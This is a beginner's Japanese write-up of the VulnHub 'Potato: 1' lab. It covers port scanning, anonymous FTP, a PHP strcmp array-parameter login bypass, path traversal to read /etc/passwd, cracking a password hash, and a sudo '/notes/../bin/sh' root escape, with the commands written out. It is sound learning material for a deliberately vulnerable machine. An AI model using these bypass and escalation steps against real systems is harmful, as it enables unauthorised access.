3
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【VulnHub】Potato: 1 を初心者が攻略してみた -strcmpバイパスからsudoの設定不備をついた権限昇格まで

3
Last updated at Posted at 2026-02-24

はじめに

CTFのBoot2Root問題を練習したいと思ったので、以前から気になっていたVulnHubのマシンを攻略していきます!今回は「Potato: 1」というマシンを攻略します!

攻略するにあたっての初期設定は、以下の記事を参考にさせていただきました。

偵察

まずは初めに、ターゲットマシンのIPアドレスを特定します。192.168.56.100はDHCPのIPアドレスなので、PotatoマシンのIPアドレスは192.168.56.101となります。

┌──(kali㉿kali)-[~/VulnHub/Potato1]
└─$ sudo netdiscover -i eth1 -r 192.168.56.103/24

Currently scanning: Finished!   |   Screen View: Unique Hosts                                                                                                                                                                            
                                                                                                                                                                                                                                          
 3 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 180                                                                                                                                                                          
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.56.1    0a:00:27:00:00:14      1      60  Unknown vendor                                                                                                                                                                         
 192.168.56.100  08:00:27:ca:c7:0a      1      60  PCS Systemtechnik GmbH                                                                                                                                                                 
 192.168.56.101  08:00:27:b3:6b:30      1      60  PCS Systemtechnik GmbH 

ポートスキャン

次にnmapを実行していきます。

┌──(kali㉿kali)-[~]
└─$ sudo nmap -sS -sC -sV -p- 192.168.56.101     
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-15 12:47 +0900
Nmap scan report for 192.168.56.101
Host is up (0.00037s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 ef:24:0e:ab:d2:b3:16:b4:4b:2e:27:c0:5f:48:79:8b (RSA)
|   256 f2:d8:35:3f:49:59:85:85:07:e6:a2:0e:65:7a:8c:4b (ECDSA)
|_  256 0b:23:89:c3:c0:26:d5:64:5e:93:b7:ba:f5:14:7f:3e (ED25519)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Potato company
2112/tcp open  ftp     ProFTPD
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--   1 ftp      ftp           901 Aug  2  2020 index.php.bak
|_-rw-r--r--   1 ftp      ftp            54 Aug  2  2020 welcome.msg
MAC Address: 08:00:27:B3:6B:30 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.52 seconds

今回実行した nmap コマンドの各オプションの意味は以下の通りです。

  • -sS (TCP SYNスキャン):
    TCPコネクションを最後まで確立せず(SYNパケットを送り、応答が来たらRSTで切断する)、高速かつターゲットのログに残りにくい形でスキャンを行います。生パケットを扱うためsudo権限が必要です。
  • -sC (デフォルトスクリプトスキャン):
    Nmapに標準搭載されている便利なスクリプト群(NSE: Nmap Scripting Engine)を自動で実行します。今回の結果にある「FTPの匿名ログインが許可されているか」や「Webサーバーのタイトル」などは、このオプションのおかげで判明しました。
  • -sV (サービスバージョン検知):
    開いているポートで具体的に何のソフトウェアが、どのバージョンで動いているか(例:OpenSSH 8.2p1Apache 2.4.41 など)を特定します。既知の脆弱性(Exploit)を探すための重要な手がかりになります。
  • -p- (全ポートスキャン):
    デフォルトではよく使われるトップ1000ポートしかスキャンされませんが、このオプションをつけることで 1 番から 65535 番までのすべてのポートをスキャンします。今回のように、標準の21番ではない 2112 番ポートに隠されたFTPサービスを見逃さないために必須です。

列挙と初期侵入

FTPの調査

FTPのAnonymousログインが有効になっていることがnmapの結果から分かったので、FTPにAnonymousログインし、2つのファイルをダウンロードして中身を見ていきます。

┌──(kali㉿kali)-[~/VulnHub/Potato1]
└─$ ftp -P 2112 192.168.56.101
Connected to 192.168.56.101.
220 ProFTPD Server (Debian) [::ffff:192.168.56.101]
Name (192.168.56.101:kali): anonymous
331 Anonymous login ok, send your complete email address as your password
Password: 
230-Welcome, archive user anonymous@192.168.56.103 !
...
ftp> get index.php.bak
ftp> get welcome.msg
ftp> exit

welcome.msgには特にめぼしい情報はなかったため、index.php.bakを覗いていきます。

┌──(kali㉿kali)-[~/VulnHub/Potato1]
└─$ cat index.php.bak
<html>
<head></head>
<body>

<?php

$pass= "potato"; //note Change this password regularly

if($_GET['login']==="1"){
  if (strcmp($_POST['username'], "admin") == 0  && strcmp($_POST['password'], $pass) == 0) {
    echo "Welcome! </br> Go to the <a href=\"dashboard.php\">dashboard</a>";
    setcookie('pass', $pass, time() + 365*24*3600);
  }else{
    echo "<p>Bad login/password! </br> Return to the <a href=\"index.php\">login page</a> <p>";
  }
  exit();
}
?>


  <form action="index.php?login=1" method="POST">
                <h1>Login</h1>
                <label><b>User:</b></label>
                <input type="text" name="username" required>
                </br>
                <label><b>Password:</b></label>
                <input type="password" name="password" required>
                </br>
                <input type="submit" id='submit' value='Login' >
  </form>
</body>
</html>

username: admin, password: potatoでログインができそうです...

HTTPの調査

webサービスにアクセスします。

potato1_webpage.png

gobusterを実行します。

┌──(kali㉿kali)-[~/VulnHub/Potato1]
└─$ gobuster dir -u http://192.168.56.101 -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.56.101
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
.htpasswd            (Status: 403) [Size: 279]
.htaccess            (Status: 403) [Size: 279]
admin                (Status: 301) [Size: 316] [--> http://192.168.56.101/admin/]
.hta                 (Status: 403) [Size: 279]
index.php            (Status: 200) [Size: 245]
server-status        (Status: 403) [Size: 279]
Progress: 4613 / 4613 (100.00%)
===============================================================
Finished
===============================================================

/adminにアクセスすると、ログインフォームが表示されたので、先ほどのusernameとpasswordでログインしようとしたところ、以下が表示されました。おそらくpasswordが変更されていると考えられます。

potato1_bad.png

そこでindex.php.bakをもう一度見てみると、ログインの判定にstrcmpが使われていました。phpのstrcmpは、引数に配列を指定するとNULLが返ってくるようです。PHPでは、NULL == 0Trueだと判定されます。

Burp Suiteを起動し、リクエストを書き換えます。

  1. Burp Suiteを起動したら、Proxyタブを開きます。
  2. Open browserをクリックし、先ほどのログインフォームにアクセスします。
  3. Interceptをonにした状態で、usernameにadminと入力し、passwordは適当に入力します。
  4. Prettyタブが以下のようになっています。

potato1_burp_notchanged.png

ここで、username=admin&password=adminを、以下のように書き換えます。こうすることで、strcmpの引数に配列を指定することができます。

username=admin&password[]=admin

こうすることで、以下のようなダッシュボードページにアクセスすることができました。

potato1_dash.png

このページにはリンクがいくつかあるのですが、logsというページでは選択したログファイルからログを取得できます。ここがかなり怪しいですね。
ここでもう一度Burp Suiteで通信を見てみると、file=log_01.txtでリクエストを送信しています。パストラバーサルができそうです。

potato1_burplog.png

/etc/passwd../../etc/passwdなどを試しても何も表示されませんでしたが、../../../../../etc/passwdとすることで、/etc/passwdを見ることができました。

potato1_passwd.png

user権限の奪取とSSH接続

webadminというユーザーのハッシュ値が判明しました。
そこで、johntheripperを用いてハッシュ値の解析を行います。まず自分は以下のようにターミナルに入力したのですが、No password hashes loadedと弾かれてしまいました。

echo "$1$webadmin$3sXBxGUtDGIFAcnNTNhi6/" > hash.txt

原因はcat hash.txtをして判明しました。ハッシュの先頭にあるはずの$1$などがごっそり消えていたのです。
これは、Bashがダブルクォート内の$を変数として解釈し、展開してしまったためです(今回の場合、$1$3が空文字として処理されました)。

なので、ハッシュ値のような特殊記号を含む文字列を扱う場合は、変数の展開を行わないシングルクォート (') を使う必要があります。

┌──(kali㉿kali)-[~/VulnHub/Potato1]
└─$ echo 'webadmin:$1$webadmin$3sXBxGUtDGIFAcnNTNhi6/:1001:1001:webadmin,,,:/home/webadmin:/bin/bash' > hash.txt

┌──(kali㉿kali)-[~/VulnHub/Potato1]
└─$ john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
...
dragon           (webadmin)     
...

解析を行った結果、webadminのパスワードがdragonであることが判明したので、SSH接続を行います。これで、user.txtを見ることができました。

┌──(kali㉿kali)-[~/VulnHub/Potato1]
└─$ ssh webadmin@192.168.56.101

webadmin@serv:~$ ls
user.txt
webadmin@serv:~$ cat user.txt
████████████████████████████████████████████████████████████

これをbase64でデコードすると何か書いてありました。

┌──(kali㉿kali)-[~]
└─$ echo "████████████████████████████████████████████████████████████" | base64 -d
█████████████████████████████████████

Rootへの権限昇格

sudo権限のプログラムを確認すると、/bin/nice /notes/*が設定されています。

webadmin@serv:~$ sudo -l
[sudo] password for webadmin: 
Matching Defaults entries for webadmin on serv:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User webadmin may run the following commands on serv:
    (ALL : ALL) /bin/nice /notes/*

notesディレクトリは以下のようになっていました。

webadmin@serv:/notes$ ls
clear.sh  id.sh

この二つのプログラムの中身をcatコマンドで覗こうとしましたが、Permission deniedされました。
そこで、niceのコマンドの意味を調べてみました。どうやら、プロセスの実行優先度を下げるためのコマンドとして使われるようです。
これもパストラバーサルができそうなので、/bin/niceの引数を/notes/../bin/shにしてシェルを起動できるか試みます。

webadmin@serv:/home$ sudo /bin/nice /notes/../bin/sh
[sudo] password for webadmin: 
# whoami
root

成功しました!sudoは単に「文字列が/notes/から始まっているか」しかチェックしませんが、実際にコマンドが実行される際には、OSが../を「一つ上の階層に戻る」と解釈するため、結果的に制限をすり抜けて/bin/shを起動できてしまいます

あとは/root/root.txtを覗いて攻略完了です!

# cat /root/root.txt
███████████████████████████████████████████████████████████████████████████
# cat /root/root.txt | base64 -d
████████████████████████████████████████████████████████████

まとめと感想

今回は初めてVulnHubのマシンを攻略してみました!以前から少しだけBoot2Root問題には取り組んでいたのですが、まだまだ練習不足で、生成AIに聞いたり、writeupをチラ見しないと分からない部分も多くありました。しかし、生成AIに丸投げするのではなく、解く道筋の補助として使用することができたので、これは大きな進歩だと感じました!これからもどんどんVulnHubを中心にBoot2Root問題を解いていきたいと思います!

参考

このマシンを攻略にするにあたりどうしてもわからなかった部分は、誠に勝手ながら以下のWriteupを参考にさせていただきました。

3
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
3
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?